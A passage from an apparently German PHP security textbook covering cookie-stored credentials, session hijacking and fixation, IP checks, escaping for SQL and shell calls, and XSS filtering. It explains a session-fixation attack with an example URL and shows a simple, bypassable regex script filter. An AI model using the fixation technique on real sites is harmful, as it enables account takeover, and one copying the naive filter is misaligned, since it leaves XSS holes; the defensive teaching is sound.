muss nicht jedes Mal erneut die Individualisierung vornehmen. Leider hat die Bequemlichkeit dazu verleitet, Cookies für wesentlich sensitivere Informationen zu nutzen: So werden Daten zur Authentifizierung, etwa eine Session-ID oder gar Benutzername und Passwort, ebenfalls in Cookies gespeichert. Wird die gleiche Webseite erneut aufgerufen, wird diesen Angaben dabei blind vertraut und somit der Benutzer automatisch authentifiziert oder eine bestehende Session mit all ihren Daten einem Client zugewiesen. Cookies sind zweifelsohne ein sehr gutes Mittel, um Webseiten für die Benutzer flexibel zu individualisieren – sie sind vielmehr die einzige Möglichkeit, mit der es den Usern erlaubt ist, die Seite auf verschiedenen Rechnern auch mit einem unterschiedlichen Look-and-Feel zu versehen, jedoch sollten Informationen, die sich nicht nur auf das Layout beziehen, stets geprüft und nicht automatisiert verwendet werden. Auf den ersten Blick scheint es irrsinnig zu sein, dem Benutzernamen und dem Passwort nicht zu vertrauen, wenn sie aus einem Cookie stammen: Der Login erfolgt selbst dann nur, wenn diese zwei Informationseinheiten zueinander passen. Ist das Passwort aus dem Cookie falsch, wird der Benutzer schlichtweg nicht eingeloggt, jedoch liegt in dieser Konstellation das Problem auch an ganz anderer Stelle, die nicht einmal in Verbindung zur Server- und Skriptsicherheit steht. Diese Informationen müssten schlichtweg im Klartext gespeichert werden und sind somit – sofern es das Dateisystem des Clients zulässt – von jedem anderen Benutzer oder Dienst des Client-Rechners lesbar. Zusammen mit der Domain (die im Cookie-Dateinamen enthalten ist) lässt sich somit leicht ein gültiger Zugangscode rekonstruieren. Über diesen Weg kann also ein Angreifer an die Benutzerdaten einer Webseite gelangen, ohne jemals den Server in irgendeiner Weise infiltrieren zu müssen. Auch eine verschlüsselte Speicherung der Daten im Cookie scheidet aus: Damit diese gelesen werden können, müsste ein Schlüssel existieren – der aufgrund der Dynamik des Internets (ein Client hat nur in den wenigsten Fällen immer die gleiche IP) für alle Verbindungen gleich sein muss, damit die Daten des Cookies entschlüsselt werden können. Dies hat zur Folge, dass ein kopierter Cookie auf einem anderen Client auch zum Erfolg bei der automatisierten Anmeldung führt. Eine Lösung wäre es, wenn der Schlüssel abhängig vom Client verschieden ist, somit würde eine kopierte Cookie-Datei keinerlei Erfolg bringen: Werden die Daten mit dem falschen Schlüssel dekodiert, so sind sie schlichtweg ungültig. Jedoch ließe sich eine solche Technik nur mit externen Hilfsmitteln wie etwa SmartCards und dazu notwendigen Browser-Plugins oder eingebetteten Objekten (etwa JavaApplets) realisieren. Eine Lösung wäre natürlich für lokale Netzwerke denkbar, bei denen die Clients eine feste IP besitzen: Der Server könnte für jeden Client einen eigenen Schlüssel führen, jedoch hätte dies einen vermehrten Administrationsaufwand auf Seiten des Servers zur Folge. Alles in allem erscheint es wenig lohnens-
127
Kapitel 4 Sensitive Daten richtig behandeln
wert, Zeit in diese Techniken zu investieren, wenn es nur darum geht, den Login zu automatisieren. Der manuelle Login sollte ebenfalls relativ schnell durch den Benutzer erledigt sein und ist zudem um einiges sicherer, da das Passwort nicht im Klartext in einer relativ frei zugänglichen Datei gespeichert wird. Sessions
Eine andere oft eingesetzte Technik ist es, die Session-ID oder einen anderen einmaligen Hash-Wert in einem Cookie zu speichern, bei dessen Übermittlung der Server eine automatische Zuordnung zu einem Benutzer und so einen selbstständigen Login vornimmt. Auch hier besteht das gewohnte Problem: Wird der Cookie kopiert, kann ein Dritter Zugang über einen Benutzer-Account erlangen, der einem gänzlich anderen Anwender zugewiesen ist. Es gibt derzeit keine sichere Variante ohne externe Hardware oder Tools, Inhalte auf dem Client zu speichern und sicherzustellen, dass sie nur von diesem Benutzer genutzt werden können. Systeme, die automatische Logins vollziehen oder sensitive Daten innerhalb der Cookies auf dem Client speichern, sollten also vermieden werden. Die Parametervalidierung wird umso wichtiger, je sensibler die Daten sind – und je mehr Zugriffsrechte mit der Angabe eines unscheinbaren Parameters erlangt werden können. Einer der folgenschwersten Parameter ist die Session-ID: Wird diese blind von einem Client übernommen, kann ein Angreifer beliebige existierende Sitzungen anderer Benutzer übernehmen und so deren Daten einsehen oder gar Aktionen in deren Namen vornehmen. Um dem Session-Hijacking zu entgehen, sollte auf jeden Fall beim Start der Session stets die IP des Clients gespeichert werden. Bei jedem weiteren Zugriff auf die Session sollte die Netzwerkadresse des aktuellen Clients gegen die gespeicherte Adresse verglichen werden – stimmen diese nicht überein, kann dies ein Indikator für einen Angriff sein und ein Login sollte erzwungen werden. Dies geschieht am besten innerhalb einer neuen Session, wobei die aktuelle entweder zerstört wird oder nicht. Diese Entscheidung ist allerdings zweischneidig: Für beide Alternativen gibt es Gründe. Wird die Session zerstört, kann darauf kein weiterer Angriff erfolgen – allerdings wird der legitime Benutzer, der diese Session gerade verwendet, bei der nächsten Anfrage an den Webserver ebenfalls zu einem erneuten Login gezwungen.
Wichtig Die Prüfung der Client-IP ist natürlich auch kein Freifahrtschein: In InternetCafes und Unternehmen wird ein gemeinsamer Router verwendet, somit kann ein Angreifer, der aus demselben LAN wie das Opfer stammt, durchaus mit derselben IP eine Verbindung zum Server aufbauen und die IP-Prüfung wird bestanden, obwohl es sich um einen anderen Client-Rechner handelt.
128
4.2 Lösungsansätze
Um die IP innerhalb der Session festzulegen, kann beispielsweise diese einfache Funktion verwendet werden:
Hinweis $_SERVER["REMOTE_HOST"] ist eine Alternative zu $_SERVER["REMOTE_ADDR"]
und enthält den Hostnamen des anfordernden Clients, steht allerdings nicht zwingend in jeder Webserver-Konfiguration zur Verfügung. Der Apache Webserver muss beispielsweise mittels HostnameLookups On konfiguriert werden, es muss also die DNS-Auflösung aktiviert werden – da dies jedoch bei jeder Anfrage einige Zeit in Anspruch nehmen kann, sollte auf die Verwendung des Hostnamen verzichtet werden. Hier wird die IP noch mit md5() gehasht; somit soll bei einem Angriff auf den Webserver, etwa wenn ein lokaler Benutzer die Session-Dateien auslesen kann, kein Rückschluss auf den physikalischen Client gezogen werden können. Erfolgt nun ein weiterer Zugriff auf diese Sitzung, so sollte die gespeicherte IP gegen die aktuelle geprüft werden:
Eine Integration in ein Session-Konzept könnte etwa so aussehen:
129
Listing 4.21: Absicherung einer Session durch Prüfung der IP
Tiefergehende Informationen zum Thema Session-Sicherheit erhalten Sie im Kapitel 5. Maskierung von Daten
Eine andere Art der Parametervalidierung muss vorgenommen werden, wenn Werte, die von einem Client oder einer anderen Datenbank (etwa einer Datei oder Datenbank) stammen, an ein anderes externes Ziel weitergereicht werden sollen. Diese Technik hat vor allem in Zusammenhang mit Datenbankanfragen (siehe Abschnitt 4.1.3 Fehlerhafte SQL-Verwertung auf Seite 90) oder Systemaufrufen Brisanz. Solche Angaben sollten »escaped« werden – Zeichen, die durch das jeweilige externe System so interpretiert werden können, dass eine andere Wirkung erzielt wird als durch den Programmierer beabsichtigt. Anführungszeichen etwa werden dabei einfach maskiert, so dass sie vom jeweiligen System nicht als Steuerzeichen interpretiert werden. Da verschiedene Softwarevarianten auf unterschiedlichen Steuerzeichen aufsetzen, sind zur Maskierung auch jeweils andere Funktionsaufrufe notwendig. Hier eine kleine Liste: und escapeshellarg() maskieren Aufrufe und Parameter für die Verwendung mit den Systemfunktionen exec() und system() sowie dem Backtick-Operator.
_escape_string() und mysqli_real_escape_string() maskieren Daten
für die Verwendung mit dem MySQL-Server. 쐽 pg_escape_string()
maskiert Zeichenketten für die Verwendung mit Post-
greSQL-Servern. 쐽 pg_escape_bytea()
maskiert binäre Daten für die Verwendung mit dem
bytea-Typ. 쐽 sqlite_escape_string() maskiert Daten für den eingebetteten SQLite-Server.
130
4.2 Lösungsansätze
All diese Escape-Vorgänge sind sehr komfortabel und ohne großen Aufwand einsetzbar – wobei sie einen ungemeinen Nutzen haben. Allerdings sollten zumindest die datenbankspezifischen escape()-Funktionen nicht blind eingesetzt werden, da sie »gnadenlos« sind: Sie maskieren alles – deshalb sollten sie nur für aus Variablen eingefügte Werte, die einen Einzelwert innerhalb der SQL-Abfrage darstellen, eingesetzt werden. Zur Verdeutlichung ein Beispiel: $sqlquery = "SELECT * FROM artikel WHERE text LIKE ’".mysql_real_escape_string($_REQUEST["searchtext"])."’";
Eine so erzeugte Abfrage würde dem SQL-Server etwa in dieser Form übermittelt: SELECT * FROM artikel WHERE text LIKE ‚\"Special\"-Ticket’
Die Anführungszeichen innerhalb des Vergleichswerts wurden kodiert und haben somit keinen ungewollten Einfluss auf die SQL-Abfrage. Keinesfalls sollte allerdings so etwas versucht werden: $criteria = ‚text LIKE "’.$_REQUEST["searchtext"].’"’; $sqlquery = ‚SELECT * FROM artikel WHERE 1=1 AND ’.mysql_real_escape_string($criteria);
Denn das würde zu folgendem Ergebnis führen: SELECT * FROM artikel WHERE text LIKE \"\"Special\"-Ticket"\"
Dies ist eine ungültige SQL-Abfrage. Ungemein schwerer wird der Aufwand, wenn es um die Behandlung des CrossSite-Scripting geht: Dabei sollten <script>-Blöcke nicht zugelassen werden, da mit frei verwendbarem JavaScript nur allzu leicht Schaden angerichtet werden kann. Hierfür gibt es keine vorgefertigten PHP-Funktionen, jedoch kann man der Skript-Thematik relativ leicht mit den regulären Ausdrücken begegnen. Ein (JavaScript)-Block muss stets von einem <script> und einem -Tag umgeben werden; ein solcher Block sollte stets aus Benutzereingaben entfernt werden, in denen HTML-Tags zur besseren Gestaltung erlaubt sind. Dabei sollte das Entfernen nicht nur auf JavaScript-Blöcke, sondern etwa für das – weniger verbreitete – VBScript verwendet werden. Die Lösung ist dabei ein einfaches preg_replace(): $text = preg_replace("/<\s*script\s*>.*<\s*\/script\s*>/imU", "", $_REQUEST["text"]);
Natürlich können auch Zeichen kodiert werden, um eine reine Texterkennung zu erschweren:
Diese Variante ist dabei noch harmlos, denn der JavaScript-Code selbst könnte auch in dieser Form kodiert worden sein – er wird dann vom Browser vor dem Parsen entsprechend konvertiert und danach interpretiert. Dies hat den »Vorteil«, dass eine Textsuche durch PHP keinen Erfolg brächte. Um einiges problematischer wird es noch, da das Präfix javascript: nicht zwingend erforderlich ist:
…
Eine Funktion zu schreiben, die alle Eventualitäten an Schadcode filtert und somit nur ungefährlichen HTML-Code zurückliefert, ist aufwändig und eher schwierig. Für diesen Zweck gibt es beispielsweise die safehtml-Klasse (http://pixelapes.com/safehtml), die trotz des Freigabedatums der aktuellen Version 1.3.7 vom 17. Dezember 2005 und dem Beta-Stadium sehr gute Ergebnisse erzielt. Von dieser Klasse muss eine Instanz erzeugt werden, die eine Funktion parse() bereitstellt. Diese Funktion erwartet den zu parsenden HTML-Quelltext als Parameter und gibt eine bereinigte Version zurück – es werden alle Cross Site Scripting rele1
entspricht einem Tab, der beim Parsen von Attributen der HTML-Tags von den meisten Browsern ignoriert wird
133
Kapitel 4 Sensitive Daten richtig behandeln
vanten Codes (egal ob in Klartext oder kodiert) entfernt und lediglich »saubere« Tags und Attribute übernommen. Dadurch bleibt der HTML-Code erhalten, ohne dass die Gefahr einer XSS-Attacke besteht: require("safehtml.php"); $safehtml = new safehtml(); $text = $safehtml->parse($_REQUEST["text"]);
134
Kapitel 5
Sessions Um Daten über Seitenaufrufe hinweg speichern zu können, müssen sie auf dem Server gespeichert werden. Doch jedes neue Feature bedeutet auch wieder neue Gefahren, weshalb sich dieses Kapitel ausschließlich der Risiken widmet, die durch die Verwendung von Sessions entstehen können. Natürlich wird dieses Kapitel auch auf Techniken eingehen, wie man Sessions um einiges sicherer machen kann.
5.1
Flexibilität
Bei der Implementierung des Session-Modells haben die PHP-Entwickler – wie bei allen anderen Features der Sprache auch – großen Wert auf Flexibilität und Einfachheit gelegt. Diese Einfachheit kann zwar durch die Konfiguration angepasst und somit dieses Feature effektiver genutzt werden, in der Standardeinstellung ist der Einsatz von Sessions jedoch ohne großen Aufwand möglich. Bei der Flexibilität muss man jedoch Abstriche machen. Die PHP-Entwickler haben hier einige gemacht, die durchaus ihre Wirkungen haben: 쐽
Sessions werden ausschließlich auf dem lokalen Serversystem erzeugt, d.h. ein Clustering mit persistenten Sessions ist nicht möglich
쐽
Session-Daten werden auf dem Server in lokalen Dateien gespeichert
쐽
Die Speicherung erfolgt als Klartext
쐽
Sessions können mit jedweder ID erzeugt werden
쐽
Die Session-Erzeugung mit einer vorgegebenen ID kann von außen initiiert werden
Diese »Offenheit« scheint teilweise keinerlei sicherheitsrelevanten Auswirkungen zu haben: Was macht es schon aus, wenn ein Benutzer die Session-ID selbst vergeben kann? Nun, jeder dieser Kompromisse hat seine Auswirkungen. Sie sollen hier einmal im Einzelnen erläutert werden. Man kann natürlich einige Maßnahmen ergreifen, um Sessions weitestgehend abzusichern, diese Maßnahmen werden in den folgenden Unterkapiteln beschrieben.
Kapitel 5 Sessions
Lokale Sessions Mit PHP ist es nicht möglich, Sessions auf entfernten Systemen zu erzeugen oder Sessions anderer Systeme zu übernehmen. Es gibt allerdings die Möglichkeit, etwa mittels Mohawks mcache-Sessions für mehrere Sessions zentral auf einem Server zu verwalten (mehr zu mcache und dessen Verwendung erfahren Sie im Abschnitt 6.1.1 Uploads beschränken auf Seite 185). Doch dies ist keine Lösung für das eigentliche Problem: Fällt der Webserver – oder eben der zentrale Session-Server – aus, erfolgt keine automatische Umschaltung zu einem replizierten Server, wie dies etwa bei Clustering möglich wäre. Professionelles Clustering umfasst mehrere Server, die sich ständig im Hintergrund replizieren und somit immer auf den gleichen Datenstand zurückgreifen können. Fällt ein Server aus, übernimmt ein anderer, ohne dass dies der Benutzer merkt. Möchten Sie also eine ausfallsichere Anwendung realisieren, ist professionelles Clustering notwendig.
Die lokale Erzeugung von Sessions kann durchaus problematisch sein: Anwendungen lassen sich unter diesen Umständen nicht mehr auf mehrere Systeme aufteilen; so ist es unmöglich, bestimmte sensitive Funktionen auf speziell gesicherte Server auszulagern, ohne dass ein erneuter Login durch den Benutzer erzwungen wird, da die Session auf dem »neuen« System nicht zur Verfügung steht. Doch selbst wenn dieser erneute Login vorgenommen wird (was bei sicherheitsrelevanten Vorgängen durchaus sinnvoll sein kann), hat dies Auswirkungen für den Fall, dass der Benutzer wieder auf den ursprünglichen Server geleitet wird; besteht die Benutzersitzung auf diesem System weiterhin und wurde die Session-ID gespeichert (etwa durch Parameterweitergabe zum »neuen« Server, der diese ID nun wieder als aktive ID übernimmt), so sind mögliche Änderungen der Benutzerdaten (Adress- oder Zahlungsinformationen, Berechtigungen), die auf dem anderen Server vorgenommen wurden, nun nicht in dieser Session enthalten. Entweder muss nun ein Laden dieser Informationen erzwungen werden, der Benutzer muss sich neu einloggen oder dieser »Informationsschwund« wird in Kauf genommen. Würde ein Laden erzwungen, müsste wiederum eine Funktionalität in das System integriert werden, über die erkannt werden kann, wann ein solches Laden notwendig ist – es muss schlichtweg erkannt werden, wann der Benutzer von einem anderen System zurückkehrt – denn ein Neuladen bei jedem Aufruf würde sich sehr negativ auf die Geschwindigkeit der Webanwendung auswirken (geclusterte Server machen im Grunde nichts anderes). Eine Alternative zum erneuten Login wäre natürlich, alle Daten, die innerhalb der aktuellen Session gespeichert wurden, dem neuen Server in irgendeiner Form mitzuteilen, so dass eine neue Session auf dem aktuell verwendeten Server mit den gleichen Daten initiiert werden kann, ohne dass eine Interaktion des Benutzers notwendig wäre. Die Realisierung einer solchen Technik hat allerdings ihre Tücken: Sollen die Daten übertragen werden, sobald der Benutzer auf den alternativen Server wechselt, müssten diese durch den Client mittels HTTP übertragen werden. Dies birgt zum Einen allerdings die Gefahr, dass durch diese Übertragung ein Dritter diese Daten in Erfahrung bringen könnte und zum Anderen kann
136
5.1 Flexibilität
durchaus der Benutzer selbst diese Daten lokal verändern und sich so für den zweiten Server Rechte erschleichen, die er eigentlich nicht besitzt (werden diese Daten dann später auf den ursprünglichen Server übernommen, kann ein Benutzer diese Rechte generell für diese Session erhalten). Mit der Verwendung von HTTPS ließe sich zwar das Risiko des Angriffs durch einen Dritten, jedoch nicht die Möglichkeit der Manipulation durch den Benutzer selbst relativ gut verhindern. Wesentlich sicherer erscheint es, wenn die Server direkt miteinander kommunizieren und die Daten direkt per HTTP anfordern; doch auch hier wird es wieder komplex: Zum Einen müssten dann etwa die fopen()-Wrapper auf den jeweiligen Servern aktiviert worden sein, damit ein HTTP-Stream via fopen() geöffnet und verarbeitet werden kann, und zum Anderen wäre ohne eine Prüfung des anfragenden Clients zu befürchten, dass jeder Client diese Daten aus bestehenden Sessions anfordern und, sofern ein Rückfluss implementiert wurde, auch verändern kann. Es ist also in jedem Fall eine zusätzliche Prüfung etwa der IP-Adresse notwendig, um sicherzustellen, dass nur eigene Server diese Daten anfordern und ändern können. Dateispeicherung Damit Sessions durchgängig Bestand haben können, ist es notwendig, dass sie auf dem Server in irgendeiner Weise zwischengespeichert werden. Dies ist erforderlich, da Sessions eine sehr lange Gültigkeitsdauer haben können und bei verschiedenen Auslastungen eines Webservers PHP- und Webserver-Prozesse gestartet und beendet werden, es also nicht sichergestellt ist, dass diese Daten ständig im Arbeitsspeicher vorgehalten werden. Hinzu kommt, dass Daten, die in einem PHP-Prozess geladen sind, für einen anderen nicht zwingend zur Verfügung stehen – und es ist keinesfalls garantiert, dass ein Benutzer bei zwei aufeinanderfolgenden Anfragen an den Webserver den gleichen Prozess zugewiesen bekommt.
Um dennoch die Existenz einer Sitzung über mehrere Anfragen oder gar einen Neustart des Webservers hinaus zu gewährleisten, ist es notwendig, die Sitzungsdaten auf eine nicht-flüchtige Art zu speichern. Die PHP-Entwickler haben sich dabei für die Speicherung in Dateien entschieden, um eine größtmögliche Flexibilität zu gewährleisten. Denn für eine Dateispeicherung ist keine Installation zusätzlicher Bibliotheken oder Tools notwendig: Wo PHP betrieben wird, gibt es auch ein Dateisystem (die Verwendung von PHP auf einem System, das nur ein schreibgeschütztes Dateisystem bereitstellt, ist bereits aus vollkommen anderen Gründen sehr problematisch). PHP erkennt dabei Sessions anhand der Dateien, die in einem Verzeichnis vorhanden sind, das als Speicherplatz für die Session-Daten konfiguriert wurde. Die Sessions werden in keiner zentralen Indexdatei vermerkt, es ist somit problemlos möglich, Session-Dateien zu löschen oder auch neue hinzuzufügen, etwa indem diese von einem anderen System aus kopiert werden. Fordert ein Prozess eine Ses-
137
Kapitel 5 Sessions
sion an, wird geprüft, ob eine Datei dieses Namens vorhanden ist und ob die darin enthaltenen Daten als Session geladen werden können (so soll verhindert werden, dass Dateien, die nicht von PHP stammen, als Session geladen werden). Ist keine solche Datei vorhanden oder sind die Daten ungültig, wird eine neue Session erzeugt und als Datei gespeichert. Sicherheitstechnisch gesehen birgt diese Dateispeicherung allerdings ein wesentliches Problem: PHP wird die Datei unterhalb des aktuell verwendeten Benutzers speichern und die Berechtigungen entsprechend der Konfiguration vergeben. PHP respektive der Webserver wird dabei meist mit einem Benutzer-Account betrieben, der selbst eingeschränkte Rechte besitzt. Jedoch wird jeder PHP-Prozess mit eben diesen gleichen Benutzerrechten gestartet, bzw. gilt diese Beschränkung vielmehr nicht nur für den Webserver (z.B. Apache) und PHP, sondern auch für alle anderen Programme, die durch den Webserver gestartet werden (z.B. Perl oder Python), sofern bedingt durch die Konfiguration (etwa eine Einstellung innerhalb der Webserverkonfiguration oder ein gesetztes SUID-Bit) nichts anderes angenommen wird. Speichert also PHP nun eine Datei, hat jeder Prozess, der mit den gleichen Benutzerrechten betrieben wird, ebenfalls Zugriff auf diese Datei. Auf einem Webserver, der von einem Webhoster mit Shared-hosting betrieben wird, ist es somit möglich, dass ein Kunde B mittels eines selbstgeschriebenen Skriptes die Session-Daten der Webanwendungen anderer Kunden auslesen kann. Dies ist – sofern nicht Passwörter oder andere sensitive Daten innerhalb der Session zwischengespeichert werden – noch nicht bedenklich; dies ist es erst, sobald der Angreifer auch feststellen kann, zu welcher Webanwendung diese Session gehört. Dies ist zwar innerhalb der Session nicht gespeichert, lässt sich jedoch unter Umständen anhand der Daten, die innerhalb der Session vorhanden sind, rekonstruieren. Die Session-Datei wird allerdings auch dann angelegt, wenn es noch keine Daten innerhalb der Sitzung gibt, die gespeichert werden müssten – etwa weil eine Session für jeden neuen Zugriff angelegt wird. Diese Dateien verbrauchen zwar keinen Speicherplatz auf der Festplatte, da sie ohne jeglichen Inhalt sind, jedoch erfolgt in der Standardkonfiguration nicht sofort die Löschung veralteter Sitzungsdaten. Entstehen also viele Sessions ohne Inhalt, etwa weil PHP generell immer eine Session erzeugt, so kann es bei einigen Betriebssystemen bei stark ausgelasteten Seiten dazu kommen, dass die sogenannten Inodes innerhalb des Dateisystems nicht mehr ausreichen. Diese Knoten gibt es nur in begrenzter Anzahl – jede Datei belegt einen dieser Knoten; Null-Byte-Dateien benötigen ebenso einen Knoten. Sind alle zur Verfügung stehenden Inodes belegt, kann keine neue Datei mehr angelegt und gespeichert werden. Dies kann zur Folge haben, dass keine neue Sitzungen mehr erzeugt werden – jedoch wirkt sich diese Problematik auch auf den Rest des Systems aus, da kein einziger Prozess mehr neue Dateien anlegen kann, es kann also zu Datenverlust innerhalb des Betriebssystems oder eines installierten Datenbanksystems kommen. Diese Problematik betrifft allerdings nur Linux, Unix
138
5.1 Flexibilität
und Mac OS X – Windows hat damit grundsätzlich kein Problem. Allerdings kommt es unter Windows dann zu Störungen, wenn jemand versuchen sollte, ein Verzeichnis, in dem mehr als 5.000 Datei- und Verzeichniseinträge vorhanden sind, im Windows Explorer aufzurufen – dies kann zu einer hohen CPU-Last und zum Absturz des Windows Explorers führen (Windows bzw. das Dateisystem hat kein Problem – es ist lediglich der Explorer; allerdings sollten direkte Arbeiten an einem Server generell auf das Nötigste minimiert werden). Die Inodes-Problematik lässt sich durch PHP selbst relativ einfach beheben: Man lässt PHP die SessionDateien einfach auf mehrere Unterverzeichnisse verteilen (wie dies geht, erfahren Sie im Abschnitt 5.5.1 files auf Seite 165), oder man wählt einen anderen SessionSave-Handler (entweder den speicherbasierten mm, wie in Abschnitt 5.5.2 mm auf Seite 167 beschrieben, oder man schreibt sich seine eigenen Speicherroutinen und legt die Sessions etwa in einer Datenbank ab, beachten Sie hierzu auch Abschnitt 5.5.3 user auf Seite 168). Klartextspeicherung Auch der Inhalt der Session-Dateien folgt dem Prinzip der größtmöglichen Flexibilität. Die Session-Dateien lassen sich zwischen verschiedenen Systemen mit unterschiedlichen Betriebssystemen kopieren. Dies funktioniert allerdings nur, da ein Format verwendet wird, das auf allen Systemen gleich ist.
Es muss sich also um ein Format handeln, bei dem weder die Byte-Reihenfolge (Little und Big Endian), die auf dem jeweiligen Betriebssystem und der dabei eingesetzten Hardware verwendet wird, noch andere Besonderheiten wie etwa das Format der Zeilenschaltung Einfluss haben dürfen (unter Windows besteht die Zeilenschaltung etwa aus den zwei Sonderzeichen \r und \n, während Unix-Derivate mit \n und MacOS und Mac OS X lediglich mit \r auskommen). Hierbei haben sich die PHP-Entwickler für die Speicherung des serialisierten Formats eines Arrays entschieden, was programmatisch auch relativ einfach umzusetzen war, da die Daten einer Sitzung bereits in einem Array ($_SESSION) gespeichert werden. Ebenso ist es leicht wieder möglich, diese serialisierte Information in eine Variable zu deserialisieren. Dieses Format ist Klartext, kommt jedoch ohne Zeilenschaltungen aus. In diesem Format werden nicht nur der Wert und der Name der enthaltenen Felder sondern auch der Datentyp und die jeweilige Größe gespeichert. So ist garantiert, dass ein deserialisierter Stream auch wieder exakt die gleichen Daten enthält wie die ursprüngliche Variable. Die Zeichenkette, die bei dieser Vorgehensweise in den Session-Dateien abgelegt wird, ist klar strukturiert und dabei auch durch einen Menschen leicht zu lesen – bedenkt man die niedrigen Zugriffsrechte, mit denen PHP normalerweise betrieben wird, ist es besonders gefährlich, sensitive Daten wie etwa Kreditkarteninformationen innerhalb einer Session zwischenzuspeichern. Diese Daten sollten, sofern sie benötigt werden, immer direkt aus ihrer Quelle (etwa einer Datenbank)
139
Kapitel 5 Sessions
geladen und nie innerhalb der Session abgelegt werden – sofern eine Speicherung notwendig ist, sollten diese Informationen verschlüsselt gespeichert werden. Diese Dateien lassen sich natürlich ebenso leicht manipulieren, schon deshalb sollte nur wenigen Informationen aus einer Session vertraut werden – so sollte etwa nach Möglichkeit die Benutzerberechtigung für sehr sensible Bereiche einer Webanwendung nicht aus der Session, sondern aus einer anderen Quelle entnommen werden. Diese könnten beispielsweise anhand des Benutzernamens etwa aus einer Datenbank regelmäßig nachgeladen werden; da jedoch Daten innerhalb der Session wesentlich schneller zur Verfügung stehen als Daten, die jedes Mal aus einer Datenbank nachgeladen werden müssen, sollte man hier einen Kompromiss zwischen Geschwindigkeit und Sicherheit treffen, der je nach Webanwendung anders aussehen kann. Doch auch hier gilt: Selbst der Benutzername innerhalb einer Session kann nicht als endgültig sicher gelten. Wie man diesem Dilemma zumindest zum Teil entgehen kann, erfahren Sie im Abschnitt 5.4 Session-Umgebung sichern auf Seite 154. Unsichere ID Unter PHP gibt es keine Vorgabe für eine Session-ID. Wird diese durch PHP selbst erzeugt, folgt sie der Einstellung session.hash_function aus der php.ini. Dabei wird die Session aus einem Hash der Funktion md5() oder sha1() erzeugt, sie stellt also stets eine hexadezimale Zahl dar. Bei MD5 handelt es sich um einen 128 Bit-Hash, bei SHA-1 hingegen um einen 160 Bit-Hash.
Jedoch ist es mit der Standardeinstellung auch problemlos möglich, selbst eine Session-ID zu vergeben, ohne sich dabei an ein Muster halten zu müssen. So kann man selbst Session-IDs generieren, indem man etwa die aktuelle Serverzeit verwendet, oder die Session-IDs anhand eines zwischengespeicherten Wertes jeweils inkrementiert oder die Session etwa an dem Benutzernamen des eingeloggten Anwenders festmacht. Diese Ansätze würden das Session-Handling vor allem für den Endbenutzer stark erleichtern, jedoch gibt es innerhalb von PHP keine Prüfungsfunktionen für Sessions. Wird also eine bestehende Session angefordert, so wird jeder Client diese Session mit ihren Daten zugewiesen bekommen. Es findet keinerlei Test statt, ob dieser Client für diese Session überhaupt berechtigt ist, etwa indem die IP gegen die des Session-Erstellers verglichen wird. Dies führt dazu, dass lediglich die richtige Session-ID der Schlüssel zu einer Session ist – wer diesen Schlüssel kennt, kann die Sitzung übernehmen und mit ihr agieren, erhält also beispielsweise die Rechte des Benutzers, der sich mit der Webanwendung innerhalb dieser Session eingeloggt hat. Diese Problematik ist sehr brisant, jedoch ist durch die Vergabe der Session-ID durch PHP gewährleistet, dass das Erraten dieser ID oder gar die gezielte Rekonstruktion erheblich erschwert wird. Werden die IDs hingegen selbst mit einem vordefinierten Muster vergeben, ist eine Entführung einer solchen Session (dieses
140
5.2 Strikte Erzeugung
Vorgehen wird als Session-Hijacking bezeichnet) wesentlich wahrscheinlicher und für den Angreifer stark vereinfacht. Externe Initiierung Es ist problemlos möglich, eine Session von außen mit einer festgelegten ID zu starten. Dazu ist es lediglich notwendig, einen Parameter mit dem Namen aus der Konfigurationsdirektive session.name zu übergeben; genau dies macht das Session-Modul normalerweise. Dieser Parameter – der meist PHPSESSID heißt – wird aus einem Cookie oder eben als GET- oder in Formularen auch als POST-Parameter übergeben. Der Wert dieses Parameters wird als Session-ID verwendet.
Wird also session_start() aufgerufen oder session.auto_start ist aktiviert, wird eine Session mit dieser ID gesucht (dies ermöglicht das Session-Hijacking) – falls eine solche Sitzung noch nicht besteht, wird sie mit exakt der angegebenen ID erzeugt. Ein Aufruf von http://testserver/script.php?PHPSESSID=abc_test erzeugt somit eine Session abc_test. Schafft es nun ein Angreifer, dem Endbenutzer einen Link mit einer vorbelegten Session-ID unterzuschieben, braucht er nur zu warten, bis der User von diesem Link Gebrauch macht und sich in diese Session einloggt. Da der Angreifer die ID kennt, kann er somit die Session übernehmen.
5.2
Strikte Erzeugung
Um eine Session zu erzeugen, kann man zwischen zwei Modellen wählen: permissiv und restriktiv. Entweder wird eine Session recht freizügig erzeugt oder es gibt feste Vorgaben, wann eine Session wie erzeugt werden darf. PHP selbst geht dabei nach der permissiven Methode vor: Es gibt keine Bedingungen für eine Session-Erstellung. Sobald session_start() aufgerufen oder session.auto_start gesetzt wurde, wird eine Session gestartet; es spielt dabei keine Rolle, ob bereits eine Session-ID zugewiesen wurde oder ob diese von PHP selbst vergeben werden soll. Ist eine ID bereits vorhanden, wird diese verwendet – sie muss dabei keinerlei Vorgabe folgen. Vor allem die Verwendung von unsicheren – also bekannten und nicht zufällig erzeugten– IDs erhöht das Risiko, dass eine solche ID durch einen Angreifer erraten oder in Erfahrung gebracht und die Session durch ihn verwendet werden kann. Doch auch zufällig erzeugte IDs bergen die Gefahr der »Entdeckung«, dieses Risiko steigt natürlich, umso länger die gleiche ID verwendet wird. Doch bei der Neuvergabe einer ID sollte natürlich auch bedacht werden, dass nicht nur die Daten in die neue Session übernommen werden sollten, sondern auch die alte Session gelöscht werden muss, denn es kommt beim Session-Hijacking nicht darauf an, dass eine Sitzung aktiv durch den Endbenutzer verwendet wird – sie muss lediglich
141
Kapitel 5 Sessions
existieren und sich in einem für den Angreifer interessanten Status befinden (es muss also beispielsweise ein Benutzer für die jeweilige Webanwendung in dieser Session eingeloggt sein). Eine häufige Neuvergabe der ID kann jedoch auch zu Problemen auf Seite der Anwender führen: Wird die alte Session sofort gelöscht, so wird eine Benutzung der Zurück-Funktionalität eines Browsers fehlschlagen: Der Browser wird die vorhergehende Seite mit einer Session aufrufen, die auf dem Server nicht mehr existiert. Deshalb sollte eine Neuvergabe der ID nicht unbedingt bei jedem Aufruf erfolgen, jedoch unbedingt bei kritischen Aufrufen, mit denen entweder sensitive Informationen übertragen oder verändert wurden. Eine Neuvergabe sollte auch verwendet werden, wenn verhindert werden soll, dass die gleiche Transaktion erneut durchgeführt werden kann: Ein Beispiel hierfür ist etwa eine Bezahlung (wird diese zweimal direkt hintereinander ausgeführt, ist von einer Fehlbedienung oder einem Angriff auszugehen). Schließlich sollte eine Session nur dann gestartet werden, wenn es Daten gibt, die unbedingt in einer Session zwischengespeichert werden müssen; wird nämlich eine solche Session durch einen Angreifer entdeckt und loggt sich der tatsächliche Benutzer erst später unter dieser 